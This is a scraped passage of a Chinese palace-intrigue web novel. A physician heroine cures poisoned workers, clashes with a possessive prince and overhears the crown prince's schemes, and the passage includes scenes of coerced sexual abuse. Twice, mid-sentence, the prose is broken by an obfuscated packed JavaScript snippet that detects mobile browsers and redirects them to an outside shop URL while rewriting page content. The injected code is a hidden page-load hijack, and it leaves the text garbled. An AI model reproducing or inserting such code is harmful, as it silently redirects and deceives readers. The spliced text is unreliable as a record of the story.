“不和我住,你还想跟谁住?” “我……”姜醉眠冷不丁被他噎了一句,说道,“我当然自己住。” 陆昭珩忽得停住脚步,盯着她的眼神沉寂复杂。 他揭过刚才的话题,转而问道:“那几个人的毒可有法解?” 姜醉眠沉吟片刻,目光镇定自信:“有。” 虽说他们中毒已深,可姜醉眠记得跟师父学过此毒习性,只要给她时间,解开此毒并非难事。 若说官场上的勾心斗角,那她是学不来,可研制解药她算是得心应手。 “好,有何所需吩咐蔺风去办,”陆昭珩命令道,“我只给你三日时间。” 姜醉眠连忙说道:“三日也太短了些,他们……” 话没说完,陆昭珩已经提步继续往前走了。 倒是一旁的蔺风拱手应道:“是,主子!” 姜醉眠还想再跟上前与他理论几番,却被蔺风堵住了去路。 “姜姑娘,”蔺风道,“方才主子说得很明白,您只有三日时间,若三日之后那些人的毒性还未解开,那……” 姜醉眠抱起手臂,看着挡在跟前的人,桃花眼也学着陆昭珩冷冷的挑起,反问道:“那又如何?解毒之法需得细细钻研,岂是说解便可解的?” 蔺风收回佩刀:“那不管他们的命数到没到,他们几个,都必死无疑。” 姜醉眠蹙眉,听懂了蔺风话中之意:“你是说,即使他们没有毒发身亡,也会被赐死。” “是。” “可我见那榻上躺着的还有个十四五岁的孩子,”姜醉眠捏紧了掌心道,“他也是被人毒害,又何罪之有?” 蔺风不去看她,说道:“耽搁国事,自然要以命相抵,只怕他们几条贱命也无法平息天子之怒,届时,主子必首当其冲。” 姜醉眠心道,陆昭珩是皇帝的亲儿子,皇帝哪里会舍得让自己儿子抵命。 可正如蔺风所言,到时候这几个工匠定然性命不保。 想到那张稚嫩的面孔,看起来与青彤年纪一般大小,却已经跟随着师傅卖命养家糊口了。 “我只能,尽力一试。” * 嘴上说着尽力,姜醉眠却将自己关在房中整整一日,连午膳都没用。 直到天色暗沉,夜星缀空,她才拿着两张药方打开了屋门。 蔺风一直在外面守着,接过那两张药方往里面看了眼,瞧见满屋地上扔得全是被揉皱了的纸团,便知她一直在苦苦研制解毒秘方。 “照着这两副方子拿药,切记不要弄混了,一副药性刚烈,是解毒用的,一副温补柔和,是滋养身体用的。” 蔺风如获至宝,急忙差了人过来,将两张方子小心翼翼交出去:“从山后进城,记住,不要让任何人发现,速去速回。” 等到侍卫拿着方子悄悄从后山走了之后,姜醉眠才大松了口气。 “虽然只是配来试服,但想必药效已是差不多了,后两日我再精心调整下方子便是了。” 姜醉眠这会儿才觉得腹中空空,两眼昏花得看着蔺风,眼巴巴问道:“还有吃食吗?” 蔺风忽然觉得眼前女子和往日里那派满腹心机,油尖嘴滑的样子颇为不同了,她能为了那几个无辜工匠如此用心,且仅用一日便能研制出解毒之法,想来除了这副皮囊,也不是一无是处。 他有点能理解主子为何非要把她留在身边了。 没一会儿蔺风就派人送了四五个食盒进来,驿馆内不止有大宴美食,还有别国口味的珍馐,尤其是一道酥皮鹅肝酿,咸香软腻,姜醉眠从未见过鹅肝也能做成道菜,两眼都盯得放光了。 她美美吃饱喝足后,便困得双眼都有些睁不开了。 昨夜趴在案桌上实在伤腰,今日又伏在案桌辛勤了整日,她这会儿腰酸难忍,左右陆昭珩现在也没回来,躺一下他的床榻他也不知。 蔺风还在屋外看守着,生怕她会偷偷跑了似的。 姜醉眠蹑手蹑脚移动到床榻边,上面的被褥已被清扫屋子的吏员规整好了,她和衣而卧,尚能闻到上面残留的些许松竹香。 想到在这床榻上被他轻松制服的屈辱模样,姜醉眠赤手空拳朝着半空挥舞了几下,把自己累得呼哧带喘,阖上眼眸没一会就睡了过去。 她又梦到了那个火场的夜晚,周身分明被烈焰灼烧的疼痛难忍,可她还是觉得冷,沁入骨髓的冷。 她在身边摸索了半晌,寻到了温暖的被褥,拉过来将自己浑身紧紧包裹起来,便陷入了一种萦绕在心头的熟悉松香。 那晚夜凉如水,瘦弱娇小的身子奄奄一息趴在冰冷巷口时,有双温热手臂将她从地上抱进了怀中,也是这样柔软热和的感觉,仿佛连他们身上的香味都如出一辙。 睡梦中的秀眉紧紧锁起,关于那夜的记忆模糊朦胧,她只清晰记得再睁开眼时便是身在杨府。 那个巷口皎月下的怀抱,是否也是她做的一场大梦。 * 翌日一早,姜醉眠醒来时只觉浑身舒畅,她低头一瞧,自己竟然不知何时将被褥严严实实的盖上了,难怪昨夜觉得暖和得很。 屋内只有她一人,看来陆昭珩彻夜未归。 心中还记挂着正使馆偏殿的那几个工匠,姜醉眠让蔺风把昨夜抓回来的药材拿过来自己察看了一番,确认无误后,便提到了偏殿去。 殿内几个吏员见着姜醉眠来此,私下里早都传遍了她是七殿下的人,还有人亲眼看见她在殿下屋中留宿,两人关系想必非比寻常。 那七殿下风流成性,来驿馆办差竟也带着自己的爱宠,偏这爱宠又是个会医术的。 几人皆满目惶恐,齐刷刷便要给姜醉眠行跪拜大礼。 姜醉眠忙随着几人一起俯下身子,说道:“不必如此客气,我只是草民一个,担不起诸位大礼。” “神医姑娘谦虚了,听闻殿下昨夜与左大人等人彻夜商讨对策,今早殿下也命人来此传过话了,让我等必定要按照神医姑娘所言照做,若有违抗格杀勿论,我等不敢违逆啊。” 说着几人还是扑通扑通跪了满地。 姜醉眠见拦不住,心道这些人的膝盖难不成是铜铁做的,整日跪来跪去也不嫌疼。 “我现在便有事要麻烦诸位,”姜醉眠直起身子,俯视着地上众人道,“这是我研制出的新方子,对于风寒起热最是有效不过了,你们现在就去煎制成汤药。” 地上几人听言,都想讨好姜醉眠,便争先恐后爬起来抢她手中的药材。 姜醉眠去床榻边一一为几人诊脉,新药煎制好后,她盯着吏员喂那少年喝下,过了一刻钟功夫,察觉到他脉象正逐渐变得沉稳有力,连忙让人又把温补的那份新药也给他服下了。 如此看来,解毒药方倒是可以药效再猛一些,见效想来也能更快。 “把药也喂其他人服下,一刻钟后再喂另一剂。” 几人便纷纷照做起来。 姜醉眠胸口处的大石总算落了下来,这几人的性命应该是能保得住了。 “阿眠!” 身后忽得传来道温润嗓音,听起来喜悦异常 28. 吃醋 《报错仇后被疯批独占了》全本免费阅读 姜醉眠几乎是立刻从厉云川身边跳开,退到了两步之外。 她也不知为何自己心中会忽然惧怕,可她能感受到陆昭珩冷静的表面下,暗藏着汹涌狰狞的可怖风暴。 厉云川回过身来,竟是上前一步将姜醉眠挡在了自己身后,随后才对陆昭珩拱手行礼:“见过殿下。” 陆昭珩见两人交叠在一起的身影,眉眼顿时压得更低。 她心中还有没有礼义廉耻,当着殿内这么多吏员的面,就跟别的男子卿卿我我,若是他再晚来一会,是不是两人就要滚到一处去了? 姜醉眠不知陆昭珩心中所想,藏在厉云川背后偷偷隐身,同时在心里默默祈祷,希望这疯子别再当众发疯便好。昨日他在几位官员面前说了那样不知羞耻的话,搞得今日这几个吏员看自己的眼神都说不出的怪异。 厉云川见对面人不语,虽难免心慌了瞬,却仍站稳了身姿不摇摆。 “微臣处理了京中政务才来迟,万望殿下见谅。” 陆昭珩却并未理会他,对他身后悄悄露了点脑袋的人命令道:“你,过来。” 姜醉眠咬了咬后槽牙,却只敢在心里暗骂一声,拖延着脚步迟迟不愿走出来。 厉云川看出她内心不愿与为难,忽然伸手拉住了她手腕:“殿下找姜姑娘有何事,不妨直说。” 陆昭珩眸中不耐已经快要忍到尽头,幸而身后匆匆赶来的几人打破了僵局。 左正气喘吁吁道:“殿下,动作未免太快了,臣等险些跟不上殿下的脚步。” 其余几人也累得满头大汗,连声附和。 常如见着对面站着的厉云川,眼中顿时显出惊喜之色,忙走过来说道:“厉大人何时来的驿馆,怎么也没着人通禀一声?” 厉云川早已不着痕迹松开了姜醉眠手腕,恭敬行礼道:“左大人,常大人,几位大人见谅,我今早刚赶到,听说了馆内发生的事,心中焦急万分,便直接来正使馆察看几位工匠师傅的病情了。” 常如看见了站在他身后的姜醉眠,再看那位矜贵无比的七殿下冷如冰霜的脸色,九转心肠转了转,便恍然明白了些什么。 他笑呵呵说道:“厉大人家风向来严谨,厉丞相高瞻远瞩雄谋大略,想来厉大人自幼便沾染一二,心中记挂修缮大事,当然不足为怪。只是厉大人看起来与这位神医姑娘颇为熟稔,难不成是故交?” 厉云川也无意隐瞒,说道:“前几日家中祖母头疾发作,便是请姜姑娘去府中为祖母诊治,如今又在此见到姜姑娘,便叙旧了几句。” 常如道:“原是如此,想来神医姑娘定然也觉我们厉大人清风朗月,叫人过目不忘啊。” 姜醉眠见话语间又扯到了自己头上,也只得硬着头皮笑了笑:“那是自然,自然。” 左正出声打断了几人的玩笑话,像是颇为忧虑的向姜醉眠问道:“不知神医姑娘为这几人医治的如何了?可有察看出他们的病症?” 姜醉眠视线在一言不发的人脸上转了圈,见他竟然还在看着自己,便连忙收回眼神,说道:“民女无能,只能给他们开些退热的方子,许是风寒引起的发热,再喝几副汤药下去,想来高热退去,也能好得快些。” 左正和常如无声对视一眼,两人都暗暗松了口气。 左正道:“那便还要辛苦姑娘了。” 姜醉眠垂眸道:“左大人言重了。” 这边几人正说着话,忽然有个吏员高声喊叫了一声,姜醉眠被吓了一跳,几人一同朝着那边望去。 那个吏员惊吓得直接跌坐在了地上,指着床榻上的人哆哆嗦嗦说道:“他,他醒了!” “太好了!”姜醉眠拨开几人,直接跑到了床榻边,见榻上那个少年真的睁开了眼睛,正茫然无措的望着她。 她柔声道:“别怕,我是郎中,是来给你治病的,现在我要给你诊脉,你乖乖的,别乱动。” 小少年看直了眼,他从没见过生得这样眉目如画的女子,还以为自己是病死升天,见到了仙女,当真听话的一动没动。 姜醉眠轻轻搭上他手臂,见他脉象真的比之前更加沉稳有力,想来体内毒性已被解了大半,接下来好生休养必无大碍。 她心中欢喜异常,眼尾都开心的眯了起来,从床榻间转头望向不远处站着的几人,漆黑莹亮的桃花眼直直看向陆昭珩,眸中的喜悦兴奋快要隐藏不住了似的。 她真的解开了这毒,真的保全了这些工匠们的性命。 而陆昭珩清晰看见了她眼底快要溢出来的欢呼雀跃,只有他知道她是为何如此开心。 这一刻,是他们二人共有的秘密。 左正从听见那吏员说人醒了,脸色就立即有些挂不住。 常如便站出来说道:“殿下,既然这里有神医姑娘照看着,那还请殿下移步正殿,臣等正好还有其他事宜要与殿下商议。” 厉云川也趁势说道:“殿下,微臣正好也有要事禀报。” 陆昭珩被一人簇拥着出了偏殿,姜醉眠还有七个人的脉象要诊断,一时也难以分心。 等到她将另外七人的脉也一一诊过,便更加放心了些。 虽然其余几人尚未醒过来,可脉搏也开始慢慢变得沉稳下来了,那少年许是年纪尚小,恢复的也比其他人快些。 这会儿他脑子已经清醒了过来,也知道姜醉眠是被请过来给他们治病的神医姑娘。 他身子还虚弱着,便挣扎着从床榻上起身,“扑通”一声跪在了地上,对着姜醉眠磕了两个响头。 姜醉眠不过一时没看住,冷不丁受了他这样大的礼数,顿时也单膝跪下了,双手去扶他起身。 “你这是做什么,快些起来。” “多谢神医姑娘救命之恩,我无以为报,请您受我三拜!”少年说什么也不肯起身,猛地一个头又磕了下去。 姜醉眠连忙伸手在他额头处挡,反倒被“咣”一声磕在了手背上。 “啊……” 手背传来钝痛,她倒吸了口冷气,用力甩了甩手试图减轻疼痛。 面前的少年震惊于她有次举动,消瘦的脸庞抬起来,一双黑亮的眼睛顿时就变得红通通了。 “您,您为何要这样做?” 像他们这般贱命,原本病死也是无人理会的,可神医姑娘不仅救了他们性命,还不受他的大礼,甚至亲自用手帮他挡住额头。 姜醉眠单手将他扶了起来,又按着他在床榻边坐下。 “医者救人治病,不是天经地义的事么?你不必谢我,养好身子才是正事。” 少年仍旧不解,仰面问道:“可您的手……” 姜醉眠自己抱着手背吹了吹,随后在他眼前晃了两下,笑道:“没断。” 少年也被她的可爱举动逗笑,却依然担心的说道:“您不痛吗?” 姜醉眠见他额间磕得通红一片,苍白凹瘦的脸颊上唯有一双眼睛异常清澈,这么小的孩子便活得小心翼翼,动不动就下跪磕头,自己身上的痛处都毫无知觉一般。 她心中顿生怜悯,从怀中掏出个小药瓶,指尖沾了些香腻药膏,轻轻替他敷在了额上。 “你痛吗?” 少年耳根微微一红,摇了摇头。 他自幼随师父在皇家做工,挨过的打骂无数,身上早就对疼痛忍耐到麻木了。 姜醉眠便道:“那我 29. 再咬 此话一出,门外两人皆愣怔住了。 姜醉眠不敢去看厉云川,默默用眼刀一寸寸割着面前那张可恨至极的脸。 偏偏那张俊脸还轻轻勾着唇,满是兴味的垂眸瞧她,暧昧旖旎的眸色将她牢牢掌控在内。 不准任何人觊觎分毫。 厉云川率先开了口,眼神中满是不敢置信地看着姜醉眠:“阿眠,你,你们……” 姜醉眠胸中陡然生出一股勇气,一只手捂住厉云川的嘴,拉住他的手臂就将他强行从屋门口拽到了不远处的鎏金云柱后。 蔺风见状,脸色顿时大变,提步便要跟上去,却被陆昭珩阻拦住了。 “主子!”蔺风神色焦急,生怕那两人发生些什么似的。 陆昭珩只是低声道:“随她去。” 他倒是要看看她在自己眼皮底下要干出什么更能惹怒他的事来。 姜醉眠见蔺风那个跟屁虫没过来,便赶紧对厉云川道:“云川,我知道你一时很难理解,我也没什么想要辩驳的,我只希望一点,你万不要因为我和陆昭珩闹僵,好吗?” 她不想再牵连任何人进来了,光是青彤一个已经够让她愧疚担忧了,若再连累了厉云川,那才是更加罪大恶极。 厉云川定睛望着她,只觉她和自己往日所见的那副聪颖伶俐模样又有所不同,像是多了份凛然和决绝。 “阿眠,你是故意接近陆昭珩的,对不对?” “是。” “可否告诉我你到底与他有何恩怨?” 姜醉眠抿了抿唇,捏紧袖口,却一言不发。 杨家三条人命,太过惨痛,她的仇只能自己报。 厉云川见她不语,便知她是不愿诉说,便道:“你放心,我不会逼你什么,只是你以后若有何难处,千万要让我知晓,不论缘由,我定帮你。” 姜醉眠被他的话触动,眼眶忽然有些酸涩起来:“好。” 厉云川冲她笑笑,从柱子后面走出来,又遥遥冲着陆昭珩恭敬行礼,然后提步离开了。 姜醉眠擦了擦眼角,深吸了口气,才慢腾腾从柱子后面挪步出来。 陆昭珩睨她一眼,嗓音冷沉。 “进来。” * 屋内烛火昏暗摇曳,蔺风持着冷刀站在姜醉眠身后。 陆昭珩端坐在桌旁,手中随意把玩一盏琉璃杯。 蔺风开口道:“主子,今日那几个工匠的毒已解了,剩下的只需继续修养几日,便无大碍了。” “嗯。”陆昭珩淡淡应声。 其实他给了姜醉眠三日时间,却也早已准备好了后手,即使姜醉眠无法解毒,他也命左正和常如等人将备选官署准备妥当了,还让人用两日将原本辽国官署中的装饰物品一应搬到了新官署内。 虽是个折中之策,可也比把希望寄托在她这个半吊子神医身上的好。 只是没想到,她竟然真的解了此毒,倒是小瞧她了。 蔺风又继续禀报道:“并且今日最早醒过来的那个小工,是由姜姑娘亲自照料的,那小工身强体健,已经能下地走了……” 陆昭珩视线落在眼前的纤细身影上,忽然出声打断道:“亲自照料?” 蔺风点头:“是,那小工感激涕零,给姜姑娘磕头,还被姜姑娘扶起来,给他额头上了药……” 姜醉眠闻言,扭头狠狠剜了蔺风一眼。 这人今日不是在殿门外守着么,怎的连殿内发生的事情都知晓的如此细致,真是极其招人厌烦。 陆昭珩挥了下手,示意蔺风先下去。 蔺风不敢瞧姜醉眠的脸色,转身便出了屋门,随后将门关的严严实实。 姜醉眠察觉到陆昭珩身上隐隐散发出来的骇人威压,她挺直了脊背,眼睛却在地上胡乱瞄着,心中一时有些猜不准陆昭珩的心思。 “你倒是好手段。” 桌边的人站起身来,缓缓踱步,朝她走过来。 姜醉眠不自觉后退,黑亮的水眸抬起来看他:“你,你是何意……” 逼近过来的黑影将那点幽暗烛光都尽数遮挡,沉寂的眸色像是能将她一眼看穿。 “那工匠不过贱命一条,也值得你如此费心?” 姜醉眠道:“何为贱命?他生于世间自然有他的用处,作为一条命来说,并无高低贵贱之分。” 陆昭珩知她一贯伶牙俐齿,便道:“厉云川是丞相独子,拿捏住了他,自然也就掌住了丞相府。” 他把人逼到了柱前,这才停住了脚步,“你又何时与他那般交好了?” 姜醉眠后背被冷硬的柱身牢牢抵住,已经无路可退,可偏偏面前人仍旧不依不饶,一手伸过来撑住她侧边柱身,将她整个划入了自己的领地。 “阿眠,阿眠。” 低沉的嗓音呢喃两声,随后冷笑道:“你许他这么唤你?” 姜醉眠在心中告诫自己要万分忍耐,别开脸颊不去看他,淡然道:“云川与我是知己好友,他懂我心中所想,我亦敬他出众才华,一个称呼而已,殿下连这也要管吗?” 陆昭珩眸色瞬间压低:“这么说,你们二人是情投意合?用不用我去跟皇上禀报一声,让他老人家发个善心给你二人赐婚?” 他抬手,在她柔软的脸颊上轻抚,捏着她尖细的下巴,强硬的命她转过脸来与自己对视,戏谑的说道:“只是你出身如此不堪,丞相府想来也是看不上你这种乡野草民,给厉云川当个暖房妾室,或许可行。” 姜醉眠眼眸微微瞪圆,许是有些讶异他能说出这么难听的话来,偏他说的又都是实情。 她不只是乡野草民,更是逃窜的罪臣之女,哪里能肖想丞相府。 “你,你别欺人太甚。”姜醉眠咬牙怒道。 陆昭珩微抬身子,背后映照过来的烛光便将她气得微红的脸蛋衬得生动娇艳,潋滟的桃花眼此刻满满的,都是他。 没有什么厉云川,什么赵棠,更没有那个不知死活的小工匠。 “欺了,”陆昭珩捏着她的下巴,像对待爱宠那般肆意晃了两下,“又如何?” 姜醉眠忍无可忍,暗暗磨了磨后槽牙,忽的两手拽住他捏着自己下巴的那只手,张口便低头咬了上去。 陆昭珩虎口处猛得吃痛,见她一心一意咬得专注,欲抬起来瞧她后脑勺的那只手便动作顿住了,改为安抚一般扶稳了她后脑勺,任凭她将手掌咬得快要出血。 她这一生气便要咬人的毛病必得给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914015|134820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她改了,上次锁骨处被她咬出来的伤痕过了好些日子才消退,这次又不知要几日。 姜醉眠口中满满弥漫开血腥气息,她感受到头上那道轻轻的抚慰,心中怒意更甚。 真的把她当狗么?! 于是贝齿使力,咬得更深。 那只骨节如玉的手间鲜血渐渐滚下,薄白皮肉被尖锐利齿刺破,血肉沾染到呼吸愈加浓重的口中,被软舌下意识的卷走些许,吞进了腹中。 陆昭珩眉头都没皱一下,只在她耳边沉声道:“想咬断么,嗯?” 姜醉眠心道,能咬断倒也好了,只可惜她嘴巴太小,顶多咬他一块肉下来,也是无济于事。 她嘴巴没一会都开始发酸了,牙齿也微微发颤,咬不住了,便缓缓收了力气,准备松口。 可谁知那只扶在她脑后的手却忽然使力,不许她抬起头,也没把手从她口中抽出,就那么保持着被她含着伤处的姿势。 陆昭珩在她耳旁轻声道:“别出声。” 姜醉眠半张着嘴巴,下巴酸麻的难受,却也竖起耳朵来仔细倾听。 没一会,她便听见了屋门外传来几人急切的脚步声。 蔺风开口道:“几位大人,殿下今日已经歇下了,有什么事情还请明日再来上报。” 左正的声音响起来:“蔺大人,还请您通禀一声吧,不是微臣深夜要来叨扰七殿下,是,是太子殿下来了!” 屋内的姜醉眠听言,立即抬眸望向陆昭珩。 那双凤眸漆黑如墨,正盯着嫣红湿润的唇瓣,长指轻轻覆在柔嫩软肉上,触感好的不可思议,让人不舍移开。 她早晚会是自己的,不必急于一时。 陆昭珩将手从她唇间收回,垂眸看了眼上面混合着晶亮的血水,随后又替她将唇边血迹擦掉。 姜醉眠偏头躲过,自己抬起袖口用力擦了下唇瓣。 “太子怎么来了?”她低声问道:“难不成是知道了驿馆内有人给工匠下毒?” 陆昭珩却道:“怎知下毒之人不是他?” 姜醉眠愣住,她未曾往这个可能上想过。 若真是太子所为,那他所图,是要陷害陆昭珩办砸接待的差事? 陆昭珩退后两步,便听得屋外蔺风敲门。 “主子,刚才几位大人来报,说是太子忽然来了,现下正往正使馆的方向去。” 陆昭珩过去开了屋门,对蔺风道:“把人看好。” 蔺风忙道:“主子,属下随您同去吧,太子此来不知何意,怕是会有危险。” 陆昭珩关上屋门,说道:“有危险更要看好她,人若有何闪失,我拿你是问。” 蔺风只得称是。 陆昭珩孤身穿过层层长廊,在月下走向那座辉煌气派的正使馆。 到了正殿门前,他却忽然停住了脚步。 迎着皎洁月光看下去,左手虎口处的血迹鲜红刺目,那圈小巧的牙印深可见骨,想来是真的下了狠力气咬得。 想到方才被温热湿软的包含住,那种舒透内心的畅快惬意,让他也同样狠狠咬住了后槽牙,才堪堪忍耐住没有肆意掠夺的更多。 他站在无人的殿门口,抬起左手,在虎口处轻轻舔了下。 30. 受伤 姜醉眠在屋中呆了片刻,才感觉下巴的酸劲慢慢过去了。 她悄悄走到房屋门口,推开了条门缝往外看了眼。 果不其然,蔺风寸步不离地守在外面,想逃出去根本不可能。 姜醉眠又关好屋门,折身吹熄了那盏幽暗不明的烛火,随后直接和衣躺在了陆昭珩的床榻上。 已经睡过一夜了,再睡一夜也无妨。 谁知她不过合眼休息了一会儿的功夫,便听见门外传来轻微的说话声,其中一人像是蔺风。 “太子带了不少侍卫前来,均持配兵器,且方才有暗探来报,说山上恐有异动。”一人向蔺风禀报道。 “你派几人盯紧山上,他们不敢在驿馆内动手,想来是要等到主子回京时再行动,”蔺风道,“不行,我得亲去察看一番才最为妥当,你就守在这里,里面的人想来已经睡下了,不要惊扰她。” 那人称了声是,随后便见一道黑影在窗边一闪而过。 姜醉眠瞬间睁开了眼睛,侧耳倾听了下门外的动静。 蔺风已经走了,现下换了个手下在外面守门。 时机来了。 她轻悄悄从榻上下来,蹑手蹑脚走到外侧的窗边,推开窗户,手脚麻利地翻了出去。 等到成功从官署院内逃出来后,姜醉眠回头远远看了眼静夜中安然祥和的院落。她预料的没错,这手下果真没发现她已经跑了。 趁着夜深露重,姜醉眠在曲折回廊中快速穿梭,其实白日她早已将这附近几座官署的道路熟记于心,现下她准备去正使馆悄悄探听一番。 直觉告诉她,那个太子绝非表面看上去的友善和蔼之辈。 可她方才走到正使馆偏殿处,便听见正殿大门被人慢慢从里面推开,她立即顿住脚步,情急之下随意拐进了旁边的一座官署院内,藏在门后竖起了耳朵。 有两道脚步声先后从正殿内出来,恰好走到这处官署门外。 常如的声音率先响起来:“太子殿下,您吩咐的事情微臣已经办妥了,那几个工匠卧床数日,辽国使臣下榻的官署至今未修缮完成。” 陆昭轶笑了笑,常如便觉自己升官发财的好日子近在眼前了。 谁知陆昭轶却忽然敛了神色,扬手便狠狠的抽了他一巴掌。 常如唇角都溢出血迹,吓得慌忙跪在了地上:“殿,殿下饶命!微臣不知哪里做得不够好,竟然惹得殿下恼怒了,微臣再也不敢了,再也不敢了,殿下看在微臣尽心尽力的份上,一定要饶了微臣啊!” 陆昭轶甩了甩微痛的手掌,听不出情绪的开口道:“本宫是命你用尽一切手段也要阻挠陆昭珩成事,可方才听左正说,陆昭珩早已命人备好了另外的官署用来接待,这便是你做的好差事?” 常如声音抖得像筛子:“殿下明鉴啊,微臣力薄,可绝对是一心为殿下办事,那个左正仗着自己正卿的身份处处压微臣一头,其人又胆小如鼠难成气候,微臣不过是让他找个刺客暗杀陆昭珩,他都吓得不敢动手,最后那刺客反倒被陆昭珩身边亲信所杀,微臣与他实难共事啊!” 陆昭轶斜睨了他一眼,问道:“倘若鸿胪寺卿的位置让你来做,你可能助本宫的大业一臂之力?” 常如听闻此言,眼中闪着贪婪急切的光:“那微臣定当为殿下肝脑涂地!” “好,如此甚好,”陆昭轶又露出个仁慈的笑来,亲手将地上的人扶了起来,“常大人,快快请起。” 常如惶恐道:“殿下对微臣有知遇之恩,现又向微臣允诺了正卿之位,辽国使臣进京之时,微臣定然不会让那陆昭珩行事顺利,谁也不能阻碍殿下的大业之道。” 陆昭轶道:“使臣途中耽搁了几日,抵京时日也要往后拖延,这是本宫为你争取的时间,你最好不要让本宫失望。” 两人后面又说了几句,姜醉眠听了个一清二楚,她深知自己绝对不能被两人发现,不然恐会死无葬身之地。 听见常如告退后,姜醉眠便也准备偷偷溜走,但她还没挪动脚步,又听得有人暗中靠近了陆昭轶,她便只得又缩回了门后。 接下来听到的事情,让姜醉眠久久都没能回过神来。 来人是陆昭轶身边暗卫,低声禀报道:“主子,南陲村抓回来的那几人已经又全都审讯了一轮,他们都是陆昭珩身边的死士,嘴硬的很,什么都没吐出来。” 陆昭轶略显疲乏的揉捏了两下眉心,随后轻声道:“无用之人,都杀了吧。” 暗卫又道:“主子,杨家夫妇确实携姜廷州遗女逃去了南陲村,杨家那两人也已经死了,现下能知道那遗女下落的,恐怕只有陆昭珩,和那位流樱姑娘了……” 暗卫瞥了眼陆昭轶的脸色,没敢再继续说下去。 陆昭轶看他一眼,出声问道:“你想说什么?” 暗卫听出他的怒意,连忙单膝跪下,不敢抬头。 流樱姑娘分明就是杨家夫妇的独女,可自从主子命人将她从醉红馆赎回来后,便夜夜留宿宫外府苑了,怕是…… 陆昭轶冷冷看他一眼,不悦离去了,那暗卫也不敢再多想,连忙起身跟了上去。 待两人走后,姜醉眠才浑身脱力般,顺着墙身缓缓滑落,最后跌坐在了地上。 她眸中渐渐盈满泪意,双目赤红一片,指尖快要将袖口水绿薄纱揉搓破烂,咬紧了下唇才能让自己不发出一丝声响。 方才那两人提到了南陲村,提到了叔父叔母,并且他们居然一直在找寻自己的下落。 难道,叔父叔母的死不是陆昭珩所为,而是与太子有关?! 姜醉眠心脏扑通扑通剧烈跳动起来,她感觉自己面前好像就是虚无缥缈的真相,只要她再努力伸手碰一碰,便能戳破那层迷雾,窥探到叔父叔母惨死的缘由。 她用力擦了下眼尾,从地上爬起来,朝着陆昭轶离开的方向小心翼翼追去。 一路追到了驿馆的大门口,几位官员正在送陆昭轶离开驿馆。 姜醉眠看见了厉云川也在其中,但是独独没见陆昭珩,可她此刻无暇顾及其他,只一心想再从陆昭轶身上得到点什么线索。 八马车厢奢华淫靡,后面还跟着众多侍卫。 陆昭轶登车之后,便命几位官员不准再送,将爱臣爱民的伪装做得滴水不漏。 等到驿馆门口人都散去后,姜醉眠才敢从门缝中悄悄向外窥视。 幸而那马车暂未行进,她紧紧盯着那处随风飘扬的车厢围帘。 头顶遮月乌云飘散些许,皎洁月光倾洒而下,姜醉眠却忽然瞪圆了眼眸,不敢置信的看着围帘后端坐在车厢内的那张脸。 那不是什么流樱姑娘,那就是阿樱! 姜醉眠眼尾顿时湿成了一片,长睫轻轻随风颤了颤,泪珠便顺着脸颊徐徐滚落下来。 她多怕,多怕阿樱失踪不见是真的已经死了。 幸好阿樱没死,幸好阿樱还好好活着。 活着就好,活着就还有希望。 叔父叔母的在天之灵如果知道了,能不能稍微有些宽慰呢。 恍然间,围帘边坐着的人像是在一片寂静黑夜中感应到了什么,纤手挑开围帘,盈盈冲着紧闭的门边望过来一眼,神色郑重。 姜醉眠猛地抬手捂住了嘴巴,她生怕自己会忍不住叫一声阿樱,可这样的情形下,她们岂能相认。 一门之隔,两道视线遥遥交汇了瞬间。 杨月樱不知为何,她总感觉门后好像有人在看着自己,目光恳切,像是有千言万语要同她诉说。 可她再仔细看过去,却又仿佛什么都没有。 想要再仔细看看清楚时,脑后的发丝却被人狠狠撅住,猛然向侧边一扯,她便痛得眼泪花涌了出来,张口轻轻痛呼了一声。 可随后一道炙热迫切的呼吸便覆了上来,吻住柔软唇瓣,凶狠的像要将她生生吞入腹中。 杨月樱头发被人拽着无法动弹,只得仰头被迫承受,瞧见面前人轻轻合拢意乱情迷的神态,她便恶心的几欲作呕。 她深知这人是个位居东宫的衣冠禽兽,杀了自己的父亲母亲,还要自己委身与他夜夜欺凌践踏,她这条命,或许就该在那夜随着父亲母亲一起去的。 车厢晃得越来越激烈,一旁的暗卫犹豫再三,还是上前禀报道:“主子,门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941965|134820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后好像有人窃听!” 轻飘飘的嗓音从里面传出来:“杀了。” “是!” 杨月樱心头猛然抽痛几分,她泪眼朦胧,抬眸望着衣冠楚楚的尊贵男人,眸中满是乞求意味。 陆昭轶便扬手将她扯了上来,伸手替她擦了擦嫣红的唇角:“说。” 杨月樱身子颤得厉害,分明怕得要命,却还是说道:“求殿下,饶,饶他一命……” 陆昭轶却变了神色,凑近她脸庞,冷声说道:“本宫把你从别的男人□□赎出来,不是为了听你给贱命求情的。” “可……”杨月樱心间慌乱的厉害,没等说完,就又被扯着头皮按了下去。 她眼泪无声扑簌簌落下,再无言语。 姜醉眠瞧见那八马豪车终于开始行进,便准备悄悄从门外溜出来。 可她忽然察觉到了些许不对,回眸一看,便见身后的院内站着个黑影,正在慢条斯理擦着手中长刀。 这便是方才与陆昭轶说话的那个暗卫! 进馆之路已被堵住,此人就是想把她往馆外引,她面前便是大门,已经无路可逃,便只能心下一横,推开大门拔腿跑了出去。 她记得听见蔺风说过要去山中察看,便拼着全身所有的力气朝着山林上跑。 